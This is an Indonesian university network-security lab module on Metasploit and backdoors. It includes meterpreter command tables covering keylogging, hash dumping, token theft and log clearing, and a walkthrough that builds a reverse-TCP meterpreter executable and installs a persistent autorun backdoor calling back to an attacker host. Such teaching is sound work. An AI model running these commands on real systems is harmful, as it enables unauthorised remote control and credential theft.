Modul Praktek
Keamanan Jaringan
Network Security
Telkom University
2014-2015
METASPLOIT DAN BACKDOOR
I.
Tujuan
1. Praktikan Mengenal dan memahami konsep dasar eksploitasi dengan metasploit
2. Praktikan dapat melakukan eksploitasi sederhana menggunakan metasploit
3. Praktikan Mengenal dan Memahami konsep dasar backdoor
4. Praktikan dapat melakukan instalasi sederhana backdoor menggunakan metasploit
II.
Alat yang dugunakan
1. Virtual box
2. Sistem Operasi
Ubuntu 12.04
Windows 7
III. Dasar Teori
A. Metasploit
The Metasploit Project adalah sebuah poyek open source yang dikembangkan oleh rapid7 yang
meneliti tentang kerentanan keamanan dan mengembangkan kode yang memungkinkan jaringan
masuk ke jaringan sendiri untuk mengidentifikasi risiko keamanan.
Penciptaan proyek yang paling terkenal adalah Metasploit Framework. Metasploit Framework
adalah sebuah platform perangkat lunak untuk mengembangkan, menguji, dan melaksanakan
eksploitasi. Metasploit awalnya diciptakan sebagai alat jaringan portable oleh HD Moore pada
tahun 2003 kemudian diakuisisi oleh perusahaan keamanan jaringan rapid7 pada tahun 2009.
(TechTarget, 2011)
Modul Praktek
Keamanan Jaringan
Network Security
Telkom University
2014-2015
Arsitektur metasploit (Aharoni, et al., 2014)
Libraries
Rex
Perpustakaan (libraries) dasar untuk sebagian besar tugas.
Menangani soket, protokol, transformasi teks, dll.
MSF Core
Menyediakan dasar API (Application Programming Interface)
Mendefinisikan metasploit framework
MSF Base
Menyediakan ramah API
Menyediakan API yang disederhanakan untuk framework
Metasploit Interface
1. MSFConsole
Pada praktikum ini menggunakan MSFconsole sebagai pembelajaran metasploit. Pada
msfconsole merupakan "all-in-one" atau konsol terpusat dan memungkinkan pengguna lebih
efisien karena untuk hampir semua pilihan telah tersedia di Metasploit Framework.
Modul Praktek
Keamanan Jaringan
Network Security
Telkom University
2014-2015
Kelebihan MSFConsole :
Merupakan interface satu-satunya yang dapat mengakses sebagian fitur yang ada pada
metasploit
Menyediakan antarmuka berbasis konsol untuk framework
Merupakan interface yang memiliki banyak fitur dan merupakan yang paling stabil
Mendukung full read line, tabbing dan command completion
2. MSFcli
Merupakan interface yang menggunakan command line untuk menggunakan metasploit.
Kelebihan MSFcli :
Mendukung peluncuran eksploitasi dan modul tambahan
Dapat menangani tugas tertentu yang lebih spesifik
Baik untuk pembelajaran, karena tidak menggunakan fitur otomatis seperti yang
dimiliki msfconsole
Cocok digunakan untuk pengujian atau mengembangkan eksploitasi yang baru
Modul Praktek
Keamanan Jaringan
Network Security
Telkom University
2014-2015
Kekurangan MSFcli :
MSFcli tidak mendukung banyak fitur sebaik MSFconsole, dan hanya dapat menangani satu
shell dalam satu waktu, sehingga lebih praktis untuk menggunakan serangan client-side.
Contoh :
3. Armitage
Armitage adalah salah satu interfaces yang dimiliki metasploit menggunakan grafis. Dibuat
oleh Raphael Mudge.
Armitage (Fili, 2010)
Modul Praktek
Keamanan Jaringan
Network Security
Telkom University
2014-2015
Modules
Dalam konteks ini, yang dimaksud modul adalah software yang digunakan oleh framework
metasploit.
Payload
Kode yang digunakan untuk mengeksekusi perintah pada sistem, kemudian kode ini dipilih
dan disampaikan oleh framework untuk melakukan penetrasi.
Shellcode
Shellcode adalah satu set instruksi yang digunakan sebagai payload ketika eksploitasi
terjadi. Shellcode biasanya ditulis dalam bahasa assembly.
Exploit
Pemanfaatan yang dilakukan oleh penyerang terhadap lemahnya suatu sistem untuk
memperoleh keuntungan.
Listener
Listener dalam konteks ini adalah komponen pada metasploit yang menunggu koneksi
masuk.
Encoders
Memastikan bahwa payload sampai ke tujuan
Auxiliary
Sebagai pelengkap modul
Meterpreter adalah salah satu produk unggulan yang dimiliki metasploit dan digunakan sebagai
payload setelah kerentanan sistem berhasil dimanfaatkan.
Meterpreter merupakan perpanjangan dari framework Metasploit yang memungkinkan kita untuk
memanfaatkan fungsi Metasploit. Beberapa fungsi ini meliputi cara untuk menutupi jejak, berada
sepenuhnya dalam memori, hash dump, akses sistem operasi, dan lain-lain.
Modul Praktek
Keamanan Jaringan
Network Security
Telkom University
2014-2015
Perintah Dasar
a. Perintah dasar MSFconsole
COMMAND
Artinya
show exploits
Menampilkan semua modul dalam framework
show payloads
Menampilkan semua payload dalam framework
show auxiliary
Menampilkan semua modul tambahan dalam
framework
search <name>
Mencari modul pada framework
info
Memuat informasi tentang modul tertentu
use <name>
Memuat eksploitasi atau modul
LHOST
Local host (Alamat IP local yang dijangkau oleh
target / IP local yang digunakan oleh pengguna
metasploit)
RHOST
Remote host atau target (Alamat IP target)
LPORT
Port local yang digunakan untuk membuka
koneksi
RPORT
Menentukan port yang terbuka pada komputer
target (Remote Port)
set function
Mengatur nilai tertentu (misalnya, LHOST atau
RHOST)
setg function
Mengatur
nilai
tertentu
secara
global
(misalnya, LHOST atau RHOST)
show options
Tampilan pilihan yang tersedia untuk modul
atau eksploitasi
show target
Menampilkan platform target (Sistem operasi
dan versinya)
Set target <num>
Menentukan index target tertentu, setelah
pengguna megetahui sistem operasi dan
versinya
Modul Praktek
Keamanan Jaringan
Network Security
Telkom University
2014-2015
set payload <payload>
Menentukan payload untuk digunakan
Show advanced
Menampilkan opsi lanjutan
Set autorunscript migrate -f
Mengatur secara otomatis bermigrasi ke proses
yang terpisah setelah proses eksploitasi selesai
check
Menentukan apakah target rentan terhadap
serangan
exploit
Menjalankan modul atau mengeksploitasi dan
melakukan serangan kepada target
exploit -j
Menjalankan mengeksploitasi dibawah konteks
pekerjaan (melakukan eksploitasi pada mode
background)
exploit -z
Menjalankan
modul
atau
mengeksploitasi
tetapi tidak akan berinteraksi dengan session
setelah proses eksploitasi sukses
exploit e encoder
Menjalankan
modul
atau
mengekploitasi
menggunakan encoder payload,
contoh : exploit e shikata_ga_nai
exploit -h
Menampilkan
perintah
bantuan
untuk
menjalankan perintah exploit
session -l
Menampilkan daftar session yang tersedia
(digunakan ketika menangani banyak shell)
session l v
Menampilkan semua daftar session yang
tersedia dan menampilkan secara terperinci
seperti yang digunakan ketika melakukan
eksploitasi sistem
session s script
Menjalankan secara spesifik script meterpreter
pada semua session meterpreter aktif
session -K
Menonaktifkan semua session yang aktif
session c cmd
Menjalankan semua perintah pada session
meterpreter aktif
7
Modul Praktek
Keamanan Jaringan
session u sessionID
Upgrade
Network Security
Telkom University
2014-2015
win32
shell normal ke
konsol
meterpreter
db_create
Membuat database, digunakan untuk serangan
berbasis
database
(contoh
db_create
autopwn)
db_connect
Membuat dan menghubungkan ke database
(contoh db_connect autopwn)
db_nmap
Menggunakan
nmap
dan
menempatkan
hasilnya ke dalam database (sintaks yang
mendukung nmap sT v p0)
db_autopwn -h
Tampilan
bantuan
untuk
menggunakan
db_autopwn
db_destroy
Menghapus database saat ini
db_destroy
Menghapus
database
menggunakan
opsi
user:password@host:port/database lanjutan
b. Perintah dasar meterpreter
COMMAND
help
Artinya
Menampilkan
perintah
bantuan
untuk
menjalankan meterpreter
run scriptname
Menjalankan perintah meterpreter berbasis
script
sysinfo
Menampilkan informasi sistem target
ls
Menampilkan daftar files dan folder target
use priv
menggunakan
privilege
mode
untuk
mendapatkan akses istimewa
ps
Menampilkan semua proses yang berjalan dan
akun yang berhubungan dengan setiap proses
Migrate PID
Bermigrasi ke ID proses tertentu (PID adalah
Proses ID yang diperoleh dari perintah ps)
8
Modul Praktek
Keamanan Jaringan
Use incognito
Network Security
Telkom University
2014-2015
Menggunakan fungsi penyamaran (Digunakan
untuk tanda pencurian dan peniruan pada
mesin target)
list_token -u
Menampilkan daftar token yang tersedia setiap
pengguna (by user)
List_token -g
Menampilkan daftar token yang tersedia
perkelompok (by group)
impersonate_token
Meniru token yang tersedia pada target
DOMAIN_NAME\\USERNAME
steal_token PID
Mencuri token yang tersedia untuk suatu proses
dan melakukan penyamaran melalui token itu
drop_token
Berhenti menyamar token
getsystem
Mencoba untuk meningkatkan hak akses untuk
mengakses sistem melalui beberapa vektor
serangan
shell
Memindahkan ke sebuah shell interaktif dengan
semua token yang tersedia
execute -f [Link] -i
menjalankan [Link] dan berinteraksi dengan
cmd tersebut
execute -f [Link] -i -t
menjalankan [Link] dengan semua token
tersedia
execute -f [Link] -i -H -t
menjalankan [Link] dengan semua token
yang
tersedia
dan
membuat
proses
tersembunyi
rev2self
Kembali ke user asli yang digunakan untuk
bernegosiasi dengan target
reg command
Interact, create, delete, query, set, dan masih
banyak registri target
setdesktop number
Beralih ke layar yang berbeda berdasarkan pada
siapa yang login
Modul Praktek
Keamanan Jaringan
Network Security
Telkom University
2014-2015
screenshot
Mengambil screenshot layar target
upload file
Mengupload file ke target
download file
Mendownload file dari target
keyscan_start
Mulai sniffing penekanan tombol pada target
secara jarak jauh
keyscan_dump
Membuang key yang terekam oleh target
keyscan_stop
Berhenti melakukan sniffing
getprivs
Mendapatkan hak akses sebanyak mungkin
pada target
uictl enable keyboard/mouse
Ambil kontrol dari keyboard dan atau mouse
background
menjalankan Meterpreter shell di background
hashdump
Membuang semua hash pada target
use sniffer
Memuat modul sniffer
sniffer_interfaces
Menampilkan daftar interface yang tersedia
pada target
sniffer_dump interfaceID
Mulai sniffing pada remote target
pcapname
sniffer_start interfaceID
Mulai sniffing dengan range tertentu untuk
packet-buffer
buffer paket.
sniffer_stats interfaceID
Ambil informasi statistik dari saat interface
melakukan sniffing.
sniffer_stop interfaceID
Hentikan sniffer
add_user username password -h
Menambahkan pengguna pada target
ip
add_group_user "Domain Admins"
Menambahkan user ke grup Administrator
username -h ip
Domain pada remote target
clearev
menghapus event log pada mesin target.
timestomp
Merubah atribut file, seperti tanda pembuatan,
dll
reboot
Restart mesin target
10
Modul Praktek
Keamanan Jaringan
Network Security
Telkom University
2014-2015
REQUIREMENT METASPLOIT
Untuk spesifikasi hardware minimal dapat dilihat di [Link]
INSTALASI METASPLOIT PADA UBUNTU 12.04
1. Update repository
#sudo apt-get update
2. Dapatkan package metasploit di [Link]
Keterangan : pada modul ini metasploit yang digunakan adalah untuk linux 32 bit
3. Simpan file tersebut di Desktop
4. Masuk mode bash
#sudo bash
5. Masuk direktori desktop
#cd Desktop/
6. Merubah hak akses
#chmod +x [Link]
7. Lalu jalankan setup metasploit
#./ [Link]
8. Klik forward
11
Modul Praktek
Keamanan Jaringan
Network Security
Telkom University
2014-2015
9. Centang I accept the agreement lalu klik forward
10. Klik forward, menggunakan direktori default
12
Modul Praktek
Keamanan Jaringan
Network Security
Telkom University
2014-2015
11. Klik yes, pada pilihan install as service lalu klik forward
12. Klik forward, untuk disable antivirus and firewall
13. Gunakan ssl port default, lalu klik forward
13
Modul Praktek
Keamanan Jaringan
Network Security
Telkom University
2014-2015
14. Gunakan server default, lalu klik forward
15. Klik forward
16. Menunggu proses instalasi
14
Modul Praktek
Keamanan Jaringan
Network Security
Telkom University
2014-2015
17. Buka terminal, lalu install paket pendukung
#sudo apt-get install postgreSQL rubygems libpq-dev libreadline-dev ruby-dev
18. Instal paket nmap
#sudo apt-get install nmap
B. Backdoor
Backdoor adalah salah satu jenis trojan yang sering digunakan untuk mengontrol suatu komputer
dari jarak jauh melalui jaringan baik lokal maupun Internet. Ciri khas backdoor adalah berjalan
secara tersembunyi, tidak menampilkan hal-hal yang mencurigakan, serta membuka port agar
komputer dapat diakses secara remote. Backdoor dapat juga disebut sebagai Remote Access Trojan
atau Remote Administration Tool (RAT).
Contoh trojan backdoor (RAT) adalah Posion Ivy, Bifrost, Optix Pro, DarkComet-Rat, XpertRAT, Back
Orifice, Sub Seven (Sub7), meterpreter backdoor, persistent backdoor (Netcat backdoor,
meterpreter service), dan lain-lain.
Cara kerja Trojan Backdoor
Ada dua bagian backdoor, yaitu client dan server. Client adalah program yang diinstal di komputer
target sedangkan server merupakan program yang digunakan attacker dalam mengoperasikan
komputer target. Ada dua metode komunikasi antara client dan server yaitu direct connection dan
reverse connection.
Pada direct connection, server berusaha melakukan koneksi ke IP target agar dapat
berkomunikasi dengan client. Tapi hal ini lebih mudah diblok oleh program firewall.
Pada reverse connection tidak membutuhkan IP target karena serverlah yang berusaha
melakukan koneksi ke IP client (attacker). Ketika attacker menjalankan client dengan koneksi
Internet lain, IP pun akan berubah, lalu bagaimana membuat IP client yang bersifat taktis?
Untuk mengatasi hal ini, attacker dapat memakai dynamic DNS yang banyak disediakan secara
gratis oleh website-website tertentu.
(Mojokertocyber Media, 2013)
15
Modul Praktek
Keamanan Jaringan
Network Security
Telkom University
2014-2015
Perintah dasar Persistent Backdoor
Sebelum membuat backdoor menggunakan meterpreter service, kita harus memahami perintah
dasar msfpayload.
Msfpayload adalah contoh baris perintah dari Metasploit yang digunakan untuk menghasilkan dan
output semua berbagai jenis shellcode yang tersedia di Metasploit. Penggunaan yang paling umum
dari alat ini adalah untuk generasi shellcode untuk mengeksploitasi yang tidak sedang dalam
Metasploit Framework atau untuk menguji berbagai jenis shellcode dan pilihan sebelum
menyelesaikan modul.
Berikut pilihan perintah yang tersedia pada msfpayload :
root@praktikum:~# msfpayload -h
Usage: /usr/bin/msfpayload [] [var=val]
<[S]ummary|C|Cs[H]arp|[P]erl|Rub[Y]|[R]aw|[J]s|e[X]e|[D]ll|[V]BA|[W]ar|Py
tho[N]>
OPTIONS:
-h
-l
Help banner
List available payloads
Untuk melihat daftar payload yang tersedia menggunakan perintah seperti dibawah ini :
root@praktikum:~# msfpayload -l
Framework Payloads (251 total)
==============================
Name
Description
-------------aix/ppc/shell_bind_tcp
Listen for a
connection and spawn a command shell
aix/ppc/shell_find_port
Spawn a shell on an
established connection
...snip...
...snip...
windows/x64/vncinject/bind_tcp
Listen for a
connection (Windows x64), Inject a VNC Dll via a reflective loader
(Windows x64) (staged)
windows/x64/vncinject/reverse_tcp
Connect back to the
attacker (Windows x64), Inject a VNC Dll via a reflective loader (Windows
x64) (staged)
16
Modul Praktek
Keamanan Jaringan
Network Security
Telkom University
2014-2015
Untuk mengecek apakah payload anda pilih tersebut tersedia pada komputer anda
root@praktikum:~# msfpayload windows/meterpreter/reverse_tcp O
Name: Windows Meterpreter (Reflective Injection), Reverse TCP Stager
Module: payload/windows/meterpreter/reverse_tcp
Platform: Windows
Arch: x86
Needs Admin: No
Total size: 290
Rank: Normal
Provided by:
skape <mmiller@[Link]>
sf <stephen_fewer@[Link]>
hdm <hdm@[Link]>
Basic options:
Name
Current Setting
-----------------EXITFUNC process
process, none
LHOST
LPORT
4444
Required
-------yes
Description
----------Exit technique: seh, thread,
yes
yes
The listen address
The listen port
Description:
Connect back to the attacker, Inject the meterpreter server DLL via
the Reflective Dll Injection payload (staged)
Status yes pada baris EXITFUNC menunjukan bahwa payload tersedia (sesuai)
17
Modul Praktek
Keamanan Jaringan
Network Security
Telkom University
2014-2015
root@praktikum:~# msfpayload windows/meterpreter/reverse_tcp
LHOST=[Link] LPORT=666 x O
Name: Windows Meterpreter (Reflective Injection), Reverse TCP
Stager
Module: payload/windows/meterpreter/reverse_tcp
Platform: Windows
Arch: x86
Needs Admin: No
Total size: 290
Rank: Normal
Provided by:
skape <mmiller@[Link]>
sf <stephen_fewer@[Link]>
hdm <hdm@[Link]>
Basic options:
Name
Current Setting
-----------------EXITFUNC process
process, none
LHOST
[Link]
LPORT
666
Required
-------yes
Description
----------Exit technique: seh, thread,
yes
yes
The listen address
The listen port
Description:
Connect back to the attacker, Inject the meterpreter server DLL via
the Reflective Dll Injection payload (staged)
Status yes menunjukan bahwa pengaturan LHOST dan LPORT tersedia (sesuai)
Setelah memastikan bahwa semua pengaturan tersedia, maka eksekusi perintah tersebut seperti
contoh dibawah ini
root@praktikum:~# msfpayload windows/meterpreter/reverse_tcp
LHOST=[Link] LPORT=666 x > /var/www/[Link]
Keterangan :
-
msfpayload adalah perintah untuk menggunakan msfpayload
windows/meterpreter/reverse_tcp adalah payload yang dipilih dan digunakan
pada contoh diatas
18
Modul Praktek
Keamanan Jaringan
Network Security
Telkom University
2014-2015
LHOST adalah Alamat IP local yang dijangkau oleh target / IP local yang digunakan oleh
pengguna metasploit, [Link] adalah ip address yang digunakan oleh komputer
penyerang
LPORT Port local yang digunakan untuk membuka koneksi
x adalah argument yang menyatakan untuk dieksekusi (executable)
/var/www/ adalah tempat dimana file [Link] disimpan
[Link] adalah nama file .exe
Untuk melihat pilihan yang tersedia, kita dapat menggunakan perintah -h, perintah ini digunakan
setelah berhasil melakukan exploitasi menggunakan meterpreter.
meterpreter > run persistence -h
OPTIONS:
-A
Automatically start a matching multi/handler to connect to
the agent
-U
Automatically start the agent when the User logs on
-X
Automatically start the agent when the system boots
-h
This help menu
-i
The interval in seconds between each connection attempt
-p
The port on the remote host where Metasploit is listening
-r
The IP of the system running Metasploit listening for the
connect back
Berikut contoh untuk mengimplementasikan perintah diatas :
meterpreter > run persistence -U -i 5 -p 443 -r [Link]
[*] Creating a persistent agent: LHOST=[Link] LPORT=443 (interval=5
onboot=true)
[*] Persistent agent script is 613976 bytes long
[*] Uploaded the persistent agent to C:\WINDOWS\TEMP\[Link]
[*] Agent executed with PID 492
[*] Installing into autorun as
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\YeYHdlEDygViABr
[*] Installed into autorun as
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\YeYHdlEDygViABr
[*] For cleanup use command: run multi_console_command -rc
/root/.msf4/logs/persistence/XEN-XP-SP2BARE_20100821.2602/clean_up__20100821.[Link]
meterpreter >
19
Modul Praktek
Keamanan Jaringan
IV.
Network Security
Telkom University
2014-2015
Referensi
Aharoni, M., Coppola, W., Hand, P., Hernandez, A., Kearns, D., Kennedy, D., et al. (2014). Metasploit
Unleashed. Retrieved Februari 12, 2014, from Offensive Secutity: [Link]
Fili. (2010, September 18). Eclectic Security. Retrieved April 03, 2014, from Metasploit 3.7.0 and
Armitage with postgresql support: [Link]
Mojokertocyber Media. (2013). Hacking Dengan Trojan Backdoor. Retrieved April 8, 2014, from
Mojokertocyber Media: [Link]
TechTarget. (2011, Agustus). Metasploit Project - Metasploit Framework. Retrieved Februari 12,
2014, from [Link]: [Link]
20